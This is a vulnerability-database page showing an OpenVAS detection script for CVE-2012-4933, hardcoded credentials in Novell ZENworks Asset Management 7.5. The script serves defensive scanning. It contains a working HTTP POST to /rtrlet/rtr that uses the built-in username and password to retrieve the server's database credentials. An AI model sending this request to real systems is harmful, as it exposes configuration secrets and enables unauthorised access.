Lucene search

K

Novell ZENWorks Asset Management 7.5 Hardcoded Credentials Vulnerability (HTTP)

🗓️ 26 Oct 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 42 Views

Novell ZENWorks Asset Management information disclosure vulnerabilities. Obtain sensitive information via crafted request for HandleMaintenanceCalls function

Show more
Related
Refs
Code
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902928");
  script_version("2025-01-13T08:32:03+0000");
  script_cve_id("CVE-2012-4933");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"last_modification", value:"2025-01-13 08:32:03 +0000 (Mon, 13 Jan 2025)");
  script_tag(name:"creation_date", value:"2012-10-26 12:25:31 +0530 (Fri, 26 Oct 2012)");
  script_name("Novell ZENWorks Asset Management 7.5 Hardcoded Credentials Vulnerability (HTTP)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl",
                      "gb_default_credentials_options.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8080);
  # nb: While newer versions of this software seems to also support Linux/Unix at least 7.0 and 7.5
  # only supported Windows operating systems according to e.g.:
  # - https://www.novell.com/documentation/zam75/pdfdoc/am75install/asset_management_installation_guide.pdf
  # - https://www.novell.com/documentation/zam7/readme/readme_assetmgt_7.html#srstandalone
  # so no need to run this against all Linux systems these days...
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning",
                      "default_credentials/disable_default_account_checks");

  script_xref(name:"URL", value:"http://secunia.com/advisories/50967/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55933");
  script_xref(name:"URL", value:"http://securitytracker.com/id?1027682");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/332412");
  script_xref(name:"URL", value:"https://community.rapid7.com/community/metasploit/blog/2012/10/15/cve-2012-4933-novell-zenworks");
  script_xref(name:"URL", value:"http://www.novell.com/products/zenworks/assetmanagement");
  script_xref(name:"URL", value:"http://download.novell.com/Download?buildid=yse-osBjxeo~");

  script_tag(name:"summary", value:"Novell ZENWorks Asset Management is using hardcoded credentials
  for the HTTP login.");

  script_tag(name:"insight", value:"The 'GetFile_Password()' and 'GetConfigInfo_Password()' method
  within the rtrlet component contains hard coded credentials and can be exploited to gain access to
  the configuration file and download arbitrary files by specifying an absolute path.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to obtain
  sensitive information via a crafted rtrlet/rtr request for the HandleMaintenanceCalls function.");

  script_tag(name:"affected", value:"Novell ZENworks Asset Management version 7.5 is known to be
  affected.");

  script_tag(name:"solution", value:"Apply the patch from the referenced vendor link.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:8080);
host = http_host_name(port:port);

data = "kb=&file=&absolute=&maintenance=GetConfigInfo_password&username" +
       "=Ivanhoe&password=Scott&send=Submit";

url = "/rtrlet/rtr";
req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(data), "\r\n\r\n",
             data);
res = http_keepalive_send_recv(port:port, data:req);

if(res && "Rtrlet Servlet Configuration Parameters" >< res &&
   "DBName" >< res && "DBUser" >< res && "ZENWorks" >< res &&
   "DBPassword" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
26 Oct 2012 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS27.8
EPSS0.96924
42
.json
Report